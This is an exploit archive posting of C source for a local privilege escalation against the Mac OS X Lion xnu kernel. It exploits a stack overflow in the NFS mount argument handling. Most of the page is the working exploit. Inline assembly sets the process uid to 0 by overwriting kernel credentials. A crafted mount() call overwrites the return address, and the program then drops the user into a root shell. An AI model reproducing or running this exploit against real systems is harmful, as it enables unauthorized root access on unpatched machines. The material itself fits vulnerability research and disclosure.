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Apple Mac OS X Lion Kernel xnu Privilege Escalation

Apple Mac OS X Lion Kernel xnu Privilege Escalation
Posted Apr 11, 2014
Authored by Kenzley Alphonse

Apple Mac OS X Lion kernel xnu versions 1699.32.7 except 1699.24.8 NFS mount privilege escalation exploit. This exploit leverage a stack overflow vulnerability to escalate privileges. The vulnerable function nfs_convert_old_nfs_args does not verify the size of a user-provided argument before copying it to the stack. As a result by passing a large size, a local user can overwrite the stack with arbitrary content.

tags | exploit, overflow, arbitrary, kernel, local
systems | apple, osx
MD5 | d22a4946d4bcaac98368388bba2dbfd4

Apple Mac OS X Lion Kernel xnu Privilege Escalation

Change Mirror Download
/*
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
* CVE None
* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
*
*
* Notes:
* This exploit leverage a stack overflow vulnerability to escalate privileges.
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
* of a user-provided argument before copying it to the stack. As a result by
* passing a large size, a local user can overwrite the stack with arbitrary
* content.
*
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
*
* Greets to taviso, spender, joberheide
*/

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

/** change these to fit your environment if needed **/
#define SSIZE (536)

/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
struct user_nfs_args {
int version; /* args structure version number */
char* addr __attribute__((aligned(8))); /* file server address */
int addrlen; /* length of address */
int sotype; /* Socket type */
int proto; /* and Protocol */
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
int fhsize; /* Size, in bytes, of fh */
int flags; /* flags */
int wsize; /* write size in bytes */
int rsize; /* read size in bytes */
int readdirsize; /* readdir size in bytes */
int timeo; /* initial timeout in .1 secs */
int retrans; /* times to retry send */
int maxgrouplist; /* Max. size of group list */
int readahead; /* # of blocks to readahead */
int leaseterm; /* obsolete: Term (sec) of lease */
int deadthresh; /* obsolete: Retrans threshold */
char* hostname __attribute__((aligned(8))); /* server's name */
/* NFS_ARGSVERSION 3 ends here */
int acregmin; /* reg file min attr cache timeout */
int acregmax; /* reg file max attr cache timeout */
int acdirmin; /* dir min attr cache timeout */
int acdirmax; /* dir max attr cache timeout */
/* NFS_ARGSVERSION 4 ends here */
uint auth; /* security mechanism flavor */
/* NFS_ARGSVERSION 5 ends here */
uint deadtimeout; /* secs until unresponsive mount considered dead */
};

/** sets the uid for the current process and safely exits from the kernel**/
static void r00t_me() {
asm(
// padding
"nop; nop; nop; nop;"

// task_t %rax = current_task()
"movq %%gs:0x00000008, %%rax;"
"movq 0x00000348(%%rax), %%rax;"

// proc %rax = get_bsdtask_info()
"movq 0x000002d8(%%rax),%%rax;"

// ucred location at proc
"movq 0x000000d0(%%rax),%%rax;"

// uid = 0
"xorl %%edi, %%edi;"
"movl %%edi, 0x0000001c(%%rax);"
"movl %%edi, 0x00000020(%%rax);"

// fix the stack pointer and return (EACCES)
"movq $13, %%rax;"
"addq $0x00000308,%%rsp;"
"popq %%rbx;"
"popq %%r12;"
"popq %%r13;"
"popq %%r14;"
"popq %%r15;"
"popq %%rbp;"
"ret;"
:::"%rax"
);
}

int main(int argc, char ** argv) {
struct user_nfs_args xdrbuf;
char * path;
char obuf[SSIZE];


/** clear the arguments **/
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
memset(obuf, 0x00, SSIZE);

/** set up variable to get path to vulnerable code **/
xdrbuf.version = 3;
xdrbuf.hostname = "localhost";
xdrbuf.addrlen = SSIZE;
xdrbuf.addr = obuf;

/** set ret address **/
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);

/** create a unique tmp name **/
if ((path = tmpnam(NULL)) == NULL) {
// path can be any directory which we have read/write/exec access
// but I'd much rather create one instead of searching for one
perror("[-] tmpnam");
exit(EXIT_FAILURE);
}

/** make the path in tmp so that we can use it **/
if (mkdir(path, 0660) < 0) {
perror("[-] mkdir");
exit(EXIT_FAILURE);
}

/** inform the user that the path was created **/
printf("[*] created sploit path%s\n", path);

/** call the vulnerable function **/
if (mount("nfs", path, 0, &xdrbuf) < 0) {
if (errno == EACCES) {
puts("[+] escalating privileges...");
} else {
perror("[-] mount");
}

}

/** clean up tmp dir **/
if (rmdir(path) < 0) {
perror("[-] rmdir");
}

/** check if privs are equal to root **/
if (getuid() != 0) {
puts("[-] priviledge escalation failed");
exit(EXIT_FAILURE);
}

/** get root shell **/
printf("[+] We are now uid=%i ... your welcome!\n", getuid());
printf("[+] Dropping a shell.\n");
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}

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